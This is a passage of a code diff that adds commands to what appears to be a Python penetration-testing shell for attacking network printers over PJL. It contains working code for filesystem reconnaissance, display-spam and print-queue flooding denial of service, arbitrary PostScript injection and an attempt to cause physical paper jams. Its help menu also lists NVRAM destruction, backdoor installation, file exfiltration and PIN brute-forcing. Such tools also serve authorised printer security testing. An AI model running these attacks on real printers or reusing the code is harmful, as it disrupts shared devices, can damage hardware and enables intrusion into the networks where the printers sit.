print("NOTES:")
|
|
3170
|
+
print(" - Without argument, queries ALL categories")
|
|
3171
|
+
print(" - Some categories may not be supported on all printers")
|
|
3172
|
+
print(" - Useful for reconnaissance and fingerprinting")
|
|
3173
|
+
print()
|
|
3174
|
+
|
|
3175
|
+
def do_scan_volumes(self, arg):
|
|
3176
|
+
"""Scan all volumes for accessible files and directories"""
|
|
3177
|
+
output().info("Scanning all printer volumes...")
|
|
3178
|
+
print()
|
|
3179
|
+
|
|
3180
|
+
found_volumes = 0
|
|
3181
|
+
total_files = 0
|
|
3182
|
+
|
|
3183
|
+
for vol in range(10): # Volumes 0-9
|
|
3184
|
+
vol_name = f"{vol}:"
|
|
3185
|
+
output().info(f"Scanning volume {vol_name}...")
|
|
3186
|
+
|
|
3187
|
+
try:
|
|
3188
|
+
result = self.cmd(f"@PJL FSDIRLIST NAME=\"{vol_name}\"")
|
|
3189
|
+
if result and len(result.strip()) > 10:
|
|
3190
|
+
found_volumes += 1
|
|
3191
|
+
print("=" * 70)
|
|
3192
|
+
print(f"✓ Volume {vol_name} - ACCESSIBLE")
|
|
3193
|
+
print("=" * 70)
|
|
3194
|
+
print(result)
|
|
3195
|
+
print()
|
|
3196
|
+
|
|
3197
|
+
# Count files
|
|
3198
|
+
files = self.parse_dirlist(result)
|
|
3199
|
+
total_files += len(files)
|
|
3200
|
+
output().info(f" Files/Dirs found: {len(files)}")
|
|
3201
|
+
else:
|
|
3202
|
+
output().info(f" Volume {vol_name} - Not accessible or empty")
|
|
3203
|
+
except Exception as e:
|
|
3204
|
+
if self.debug:
|
|
3205
|
+
output().errmsg(f" Error: {e}")
|
|
3206
|
+
print()
|
|
3207
|
+
|
|
3208
|
+
output().info("=" * 70)
|
|
3209
|
+
output().info(f"✓ Volume scan complete:")
|
|
3210
|
+
output().info(f" Accessible volumes: {found_volumes}/10")
|
|
3211
|
+
output().info(f" Total files/dirs found: {total_files}")
|
|
3212
|
+
output().info("=" * 70)
|
|
3213
|
+
|
|
3214
|
+
def help_scan_volumes(self):
|
|
3215
|
+
"""Scan all volumes"""
|
|
3216
|
+
print()
|
|
3217
|
+
print("scan_volumes - Scan all printer volumes for accessible content")
|
|
3218
|
+
print("=" * 70)
|
|
3219
|
+
print("DESCRIPTION:")
|
|
3220
|
+
print(" Scans all possible volumes (0: through 9:) to discover which")
|
|
3221
|
+
print(" are accessible and what files/directories they contain.")
|
|
3222
|
+
print(" Useful for reconnaissance and filesystem mapping.")
|
|
3223
|
+
print()
|
|
3224
|
+
print("USAGE:")
|
|
3225
|
+
print(" scan_volumes")
|
|
3226
|
+
print()
|
|
3227
|
+
print("EXAMPLES:")
|
|
3228
|
+
print(" scan_volumes # Scan volumes 0: through 9:")
|
|
3229
|
+
print()
|
|
3230
|
+
print("OUTPUT:")
|
|
3231
|
+
print(" - Shows accessible volumes")
|
|
3232
|
+
print(" - Lists files/directories in each volume")
|
|
3233
|
+
print(" - Reports total files found")
|
|
3234
|
+
print()
|
|
3235
|
+
print("NOTES:")
|
|
3236
|
+
print(" - Tests volumes 0: through 9:")
|
|
3237
|
+
print(" - Non-destructive (read-only)")
|
|
3238
|
+
print(" - May take 10-30 seconds")
|
|
3239
|
+
print()
|
|
3240
|
+
|
|
3241
|
+
# ====================================================================
|
|
3242
|
+
# 🔨 ADDITIONAL DOS/PHYSICAL ATTACKS
|
|
3243
|
+
# ====================================================================
|
|
3244
|
+
|
|
3245
|
+
def do_dos_display(self, arg):
|
|
3246
|
+
"""DoS via display message spam"""
|
|
3247
|
+
count = conv().int(arg) or 100
|
|
3248
|
+
|
|
3249
|
+
output().warning(f"Display spam attack: {count} messages")
|
|
3250
|
+
|
|
3251
|
+
try:
|
|
3252
|
+
confirm = input(f"Spam {count} display messages? (yes/no): ")
|
|
3253
|
+
if confirm.lower() != 'yes':
|
|
3254
|
+
output().info("Display spam cancelled")
|
|
3255
|
+
return
|
|
3256
|
+
except (EOFError, KeyboardInterrupt):
|
|
3257
|
+
return
|
|
3258
|
+
|
|
3259
|
+
output().info(f"Sending {count} display messages...")
|
|
3260
|
+
|
|
3261
|
+
messages = [
|
|
3262
|
+
"SYSTEM ERROR",
|
|
3263
|
+
"PRINTER HACKED",
|
|
3264
|
+
"SECURITY BREACH",
|
|
3265
|
+
"UNAUTHORIZED ACCESS",
|
|
3266
|
+
"PLEASE POWER CYCLE",
|
|
3267
|
+
]
|
|
3268
|
+
|
|
3269
|
+
for i in range(count):
|
|
3270
|
+
msg = messages[i % len(messages)] + f" #{i}"
|
|
3271
|
+
self.cmd(f"@PJL DISPLAY \"{msg}\"", False)
|
|
3272
|
+
if i % 10 == 0:
|
|
3273
|
+
output().info(f" Sent {i}/{count} messages...")
|
|
3274
|
+
time.sleep(0.05)
|
|
3275
|
+
|
|
3276
|
+
output().info(f"✓ Display spam complete: {count} messages sent")
|
|
3277
|
+
|
|
3278
|
+
def help_dos_display(self):
|
|
3279
|
+
"""DoS via display spam"""
|
|
3280
|
+
print()
|
|
3281
|
+
print("dos_display - Denial of service via display message spam")
|
|
3282
|
+
print("=" * 70)
|
|
3283
|
+
print("DESCRIPTION:")
|
|
3284
|
+
print(" Floods the printer display with spam messages.")
|
|
3285
|
+
print(" Makes the printer difficult to use and may cause")
|
|
3286
|
+
print(" performance degradation or unresponsiveness.")
|
|
3287
|
+
print()
|
|
3288
|
+
print("USAGE:")
|
|
3289
|
+
print(" dos_display [count]")
|
|
3290
|
+
print()
|
|
3291
|
+
print("EXAMPLES:")
|
|
3292
|
+
print(" dos_display # Default: 100 messages")
|
|
3293
|
+
print(" dos_display 500 # Spam 500 messages")
|
|
3294
|
+
print()
|
|
3295
|
+
print("SECURITY IMPACT: MEDIUM")
|
|
3296
|
+
print(" - Display becomes unusable")
|
|
3297
|
+
print(" - User frustration")
|
|
3298
|
+
print(" - May degrade performance")
|
|
3299
|
+
print()
|
|
3300
|
+
print("RECOVERY:")
|
|
3301
|
+
print(" - Power cycle printer")
|
|
3302
|
+
print(" - Or wait for messages to clear")
|
|
3303
|
+
print()
|
|
3304
|
+
|
|
3305
|
+
def do_dos_jobs(self, arg):
|
|
3306
|
+
"""DoS via print job flooding"""
|
|
3307
|
+
count = conv().int(arg) or 50
|
|
3308
|
+
|
|
3309
|
+
output().warning(f"Job flooding attack: {count} jobs")
|
|
3310
|
+
|
|
3311
|
+
try:
|
|
3312
|
+
confirm = input(f"Flood {count} print jobs? (yes/no): ")
|
|
3313
|
+
if confirm.lower() != 'yes':
|
|
3314
|
+
output().info("Job flooding cancelled")
|
|
3315
|
+
return
|
|
3316
|
+
except (EOFError, KeyboardInterrupt):
|
|
3317
|
+
return
|
|
3318
|
+
|
|
3319
|
+
output().info(f"Flooding printer with {count} jobs...")
|
|
3320
|
+
|
|
3321
|
+
for i in range(count):
|
|
3322
|
+
job_name = f"FloodJob_{i}"
|
|
3323
|
+
self.cmd(f"@PJL JOB NAME=\"{job_name}\"", False)
|
|
3324
|
+
# Send minimal data
|
|
3325
|
+
self.send(b"Test flood data\x0c")
|
|
3326
|
+
self.cmd("@PJL EOJ", False)
|
|
3327
|
+
|
|
3328
|
+
if i % 10 == 0:
|
|
3329
|
+
output().info(f" Sent {i}/{count} jobs...")
|
|
3330
|
+
time.sleep(0.05)
|
|
3331
|
+
|
|
3332
|
+
output().info(f"✓ Job flooding complete: {count} jobs sent")
|
|
3333
|
+
output().warning("⚠ Printer queue may be full!")
|
|
3334
|
+
|
|
3335
|
+
def help_dos_jobs(self):
|
|
3336
|
+
"""DoS via job flooding"""
|
|
3337
|
+
print()
|
|
3338
|
+
print("dos_jobs - Denial of service via print job flooding")
|
|
3339
|
+
print("=" * 70)
|
|
3340
|
+
print("DESCRIPTION:")
|
|
3341
|
+
print(" Floods the printer with numerous print jobs to exhaust")
|
|
3342
|
+
print(" queue resources and prevent legitimate users from printing.")
|
|
3343
|
+
print()
|
|
3344
|
+
print("USAGE:")
|
|
3345
|
+
print(" dos_jobs [count]")
|
|
3346
|
+
print()
|
|
3347
|
+
print("EXAMPLES:")
|
|
3348
|
+
print(" dos_jobs # Default: 50 jobs")
|
|
3349
|
+
print(" dos_jobs 100 # Flood 100 jobs")
|
|
3350
|
+
print()
|
|
3351
|
+
print("SECURITY IMPACT: HIGH")
|
|
3352
|
+
print(" - Queue exhaustion")
|
|
3353
|
+
print(" - Legitimate users cannot print")
|
|
3354
|
+
print(" - May cause memory issues")
|
|
3355
|
+
print()
|
|
3356
|
+
print("RECOVERY:")
|
|
3357
|
+
print(" - Clear job queue from control panel")
|
|
3358
|
+
print(" - Restart printer")
|
|
3359
|
+
print()
|
|
3360
|
+
|
|
3361
|
+
def do_ps_inject(self, arg):
|
|
3362
|
+
"""Inject PostScript code via PJL"""
|
|
3363
|
+
if not arg:
|
|
3364
|
+
output().errmsg("Usage: ps_inject <ps_file>")
|
|
3365
|
+
output().info("Injects PostScript code into printer")
|
|
3366
|
+
return
|
|
3367
|
+
|
|
3368
|
+
if not os.path.exists(arg):
|
|
3369
|
+
output().errmsg(f"File not found: {arg}")
|
|
3370
|
+
return
|
|
3371
|
+
|
|
3372
|
+
ps_code = file().read(arg)
|
|
3373
|
+
if not ps_code:
|
|
3374
|
+
return
|
|
3375
|
+
|
|
3376
|
+
output().warning("Injecting PostScript code...")
|
|
3377
|
+
|
|
3378
|
+
# Enter PostScript mode via PJL
|
|
3379
|
+
self.cmd("@PJL ENTER LANGUAGE=POSTSCRIPT")
|
|
3380
|
+
|
|
3381
|
+
# Send PostScript code
|
|
3382
|
+
self.send(ps_code)
|
|
3383
|
+
self.send(b"\x04") # EOT - End of transmission
|
|
3384
|
+
|
|
3385
|
+
output().info("✓ PostScript code injected")
|
|
3386
|
+
output().info("Code has been executed by the printer")
|
|
3387
|
+
|
|
3388
|
+
def help_ps_inject(self):
|
|
3389
|
+
"""PostScript code injection"""
|
|
3390
|
+
print()
|
|
3391
|
+
print("ps_inject - Inject PostScript code via PJL")
|
|
3392
|
+
print("=" * 70)
|
|
3393
|
+
print("DESCRIPTION:")
|
|
3394
|
+
print(" Injects and executes PostScript code on the printer.")
|
|
3395
|
+
print(" Can be used for:")
|
|
3396
|
+
print(" - Code execution")
|
|
3397
|
+
print(" - Information gathering (PostScript operators)")
|
|
3398
|
+
print(" - File operations")
|
|
3399
|
+
print(" - Testing PostScript vulnerabilities")
|
|
3400
|
+
print()
|
|
3401
|
+
print("USAGE:")
|
|
3402
|
+
print(" ps_inject <ps_file>")
|
|
3403
|
+
print()
|
|
3404
|
+
print("EXAMPLES:")
|
|
3405
|
+
print(" ps_inject test.ps # Execute PostScript file")
|
|
3406
|
+
print(" ps_inject exploit.ps # Execute exploit code")
|
|
3407
|
+
print()
|
|
3408
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
3409
|
+
print(" - Arbitrary code execution")
|
|
3410
|
+
print(" - Full printer access")
|
|
3411
|
+
print(" - Can modify system state")
|
|
3412
|
+
print()
|
|
3413
|
+
print("NOTES:")
|
|
3414
|
+
print(" - PostScript code must be valid")
|
|
3415
|
+
print(" - Printer must support PostScript")
|
|
3416
|
+
print(" - Code executes immediately")
|
|
3417
|
+
print()
|
|
3418
|
+
|
|
3419
|
+
def do_paper_jam(self, arg):
|
|
3420
|
+
"""Attempt to cause paper jam via conflicting commands"""
|
|
3421
|
+
output().warning("═" * 70)
|
|
3422
|
+
output().warning("Paper jam attack - May cause physical paper jam!")
|
|
3423
|
+
output().warning("═" * 70)
|
|
3424
|
+
|
|
3425
|
+
try:
|
|
3426
|
+
confirm = input("Attempt paper jam attack? (yes/no): ")
|
|
3427
|
+
if confirm.lower() != 'yes':
|
|
3428
|
+
output().info("Paper jam attack cancelled")
|
|
3429
|
+
return
|
|
3430
|
+
except (EOFError, KeyboardInterrupt):
|
|
3431
|
+
return
|
|
3432
|
+
|
|
3433
|
+
output().info("Sending conflicting paper handling commands...")
|
|
3434
|
+
|
|
3435
|
+
# Send conflicting paper size/type commands
|
|
3436
|
+
self.cmd("@PJL SET PAPER=LETTER", False)
|
|
3437
|
+
time.sleep(0.1)
|
|
3438
|
+
self.cmd("@PJL SET PAPER=A4", False)
|
|
3439
|
+
time.sleep(0.1)
|
|
3440
|
+
self.cmd("@PJL SET PAPER=LEGAL", False)
|
|
3441
|
+
|
|
3442
|
+
# Conflicting input tray commands
|
|
3443
|
+
self.cmd("@PJL SET INTRAY1=MANUAL", False)
|
|
3444
|
+
self.cmd("@PJL SET INTRAY1=AUTO", False)
|
|
3445
|
+
|
|
3446
|
+
# Conflicting formlines
|
|
3447
|
+
self.cmd("@PJL SET FORMLINES=60", False)
|
|
3448
|
+
self.cmd("@PJL SET FORMLINES=88", False)
|
|
3449
|
+
self.cmd("@PJL SET FORMLINES=120", False)
|
|
3450
|
+
|
|
3451
|
+
# Send print job with conflicts
|
|
3452
|
+
for i in range(5):
|
|
3453
|
+
self.cmd(f"@PJL JOB NAME=\"PaperJamTest{i}\"", False)
|
|
3454
|
+
self.cmd("@PJL SET PAPER=LETTER", False)
|
|
3455
|
+
self.cmd("@PJL SET PAPER=A4", False)
|
|
3456
|
+
self.send(b"Paper jam test data\x0c")
|
|
3457
|
+
self.cmd("@PJL EOJ", False)
|
|
3458
|
+
time.sleep(0.2)
|
|
3459
|
+
|
|
3460
|
+
output().info("✓ Paper jam attack commands sent")
|
|
3461
|
+
output().warning("⚠ Check printer for paper jam")
|
|
3462
|
+
|
|
3463
|
+
def help_paper_jam(self):
|
|
3464
|
+
"""Paper jam attack"""
|
|
3465
|
+
print()
|
|
3466
|
+
print("paper_jam - Attempt to cause paper jam via conflicting commands")
|
|
3467
|
+
print("=" * 70)
|
|
3468
|
+
print("DESCRIPTION:")
|
|
3469
|
+
print(" Sends conflicting paper handling commands to attempt causing")
|
|
3470
|
+
print(" a physical paper jam. May succeed on some printer models.")
|
|
3471
|
+
print()
|
|
3472
|
+
print("USAGE:")
|
|
3473
|
+
print(" paper_jam")
|
|
3474
|
+
print()
|
|
3475
|
+
print("SECURITY IMPACT: MEDIUM")
|
|
3476
|
+
print(" - Physical paper jam")
|
|
3477
|
+
print(" - Printer downtime")
|
|
3478
|
+
print(" - Requires manual intervention")
|
|
3479
|
+
print()
|
|
3480
|
+
print("NOTES:")
|
|
3481
|
+
print(" - Success rate varies by printer model")
|
|
3482
|
+
print(" - May not work on modern printers")
|
|
3483
|
+
print(" - Requires confirmation")
|
|
3484
|
+
print()
|
|
3485
|
+
|
|
3486
|
+
def do_firmware_info(self, arg):
|
|
3487
|
+
"""Get detailed firmware information"""
|
|
3488
|
+
output().info("Querying firmware information...")
|
|
3489
|
+
print()
|
|
3490
|
+
|
|
3491
|
+
# Query various firmware-related info
|
|
3492
|
+
queries = [
|
|
3493
|
+
("@PJL INFO CONFIG", "Firmware Configuration"),
|
|
3494
|
+
("@PJL INFO PRODUCT", "Product Information"),
|
|
3495
|
+
("@PJL INFO ID", "Device ID"),
|
|
3496
|
+
("@PJL DINQUIRE FWDATECODE", "Firmware Date Code"),
|
|
3497
|
+
]
|
|
3498
|
+
|
|
3499
|
+
for query, desc in queries:
|
|
3500
|
+
print("=" * 70)
|
|
3501
|
+
print(desc)
|
|
3502
|
+
print("=" * 70)
|
|
3503
|
+
result = self.cmd(query)
|
|
3504
|
+
if result:
|
|
3505
|
+
print(result)
|
|
3506
|
+
print()
|
|
3507
|
+
|
|
3508
|
+
def help_firmware_info(self):
|
|
3509
|
+
"""Get firmware information"""
|
|
3510
|
+
print()
|
|
3511
|
+
print("firmware_info - Get detailed firmware information")
|
|
3512
|
+
print("=" * 70)
|
|
3513
|
+
print("DESCRIPTION:")
|
|
3514
|
+
print(" Queries detailed firmware information including:")
|
|
3515
|
+
print(" - Firmware version")
|
|
3516
|
+
print(" - Firmware date code")
|
|
3517
|
+
print(" - Product information")
|
|
3518
|
+
print(" - Device configuration")
|
|
3519
|
+
print()
|
|
3520
|
+
print("USAGE:")
|
|
3521
|
+
print(" firmware_info")
|
|
3522
|
+
print()
|
|
3523
|
+
print("NOTES:")
|
|
3524
|
+
print(" - Useful for CVE identification")
|
|
3525
|
+
print(" - Helps determine vulnerable firmware versions")
|
|
3526
|
+
print()
|
|
3527
|
+
|
|
3528
|
+
# Update help categories
|
|
3529
|
+
def help_attacks(self):
|
|
3530
|
+
"""Show help for attack commands"""
|
|
3531
|
+
print()
|
|
3532
|
+
print("Attack Commands:")
|
|
3533
|
+
print("=" * 70)
|
|
3534
|
+
print("💥 DoS Attacks:")
|
|
3535
|
+
print(" destroy - Cause physical damage to NVRAM")
|
|
3536
|
+
print(" flood - Buffer overflow attack")
|
|
3537
|
+
print(" hold - Enable job retention")
|
|
3538
|
+
print(" format - Format filesystem")
|
|
3539
|
+
print(" hang - Hang/crash printer")
|
|
3540
|
+
print(" dos_connections - DoS via connection flooding")
|
|
3541
|
+
print(" dos_display - DoS via display spam")
|
|
3542
|
+
print(" dos_jobs - DoS via job flooding")
|
|
3543
|
+
print(" paper_jam - Attempt to cause paper jam")
|
|
3544
|
+
print()
|
|
3545
|
+
print("🎯 Job Manipulation:")
|
|
3546
|
+
print(" capture - Capture retained print jobs")
|
|
3547
|
+
print(" overlay - Overlay attack (watermark)")
|
|
3548
|
+
print(" overlay_remove - Remove overlay attack")
|
|
3549
|
+
print(" cross - Cross-site printing")
|
|
3550
|
+
print(" replace - Replace entire job content")
|
|
3551
|
+
print()
|
|
3552
|
+
print("🔓 Advanced Attacks:")
|
|
3553
|
+
print(" unlock_bruteforce - Brute force PIN")
|
|
3554
|
+
print(" exfiltrate - Auto-exfiltrate sensitive files")
|
|
3555
|
+
print(" backdoor - Install persistent backdoor")
|
|
3556
|
+
print(" backdoor_remove - Remove backdoor")
|
|
3557
|
+
print(" poison - Configuration poisoning")
|
|
3558
|
+
print(" traverse - Path traversal testing")
|
|
3559
|
+
print(" ps_inject - PostScript code injection")
|
|
3560
|
+
print()
|
|
3561
|
+
|
|
3562
|
+
def help_information(self):
|
|
3563
|
+
"""Show help for information gathering commands"""
|
|
3564
|
+
print()
|
|
3565
|
+
print("Information Gathering Commands:")
|
|
3566
|
+
print("=" * 70)
|
|
3567
|
+
print(" info - Comprehensive INFO queries")
|
|
3568
|
+
print(" scan_volumes - Scan all volumes")
|
|
3569
|
+
print(" firmware_info - Detailed firmware information")
|
|
3570
|
+
print(" id - Printer identification")
|
|
3571
|
+
print(" variables - Environment variables")
|
|
3572
|
+
print(" printenv - Specific variable")
|
|
3573
|
+
print(" network - Network information")
|
|
3574
|
+
print(" nvram - NVRAM access")
|
|
3575
|
+
print()
|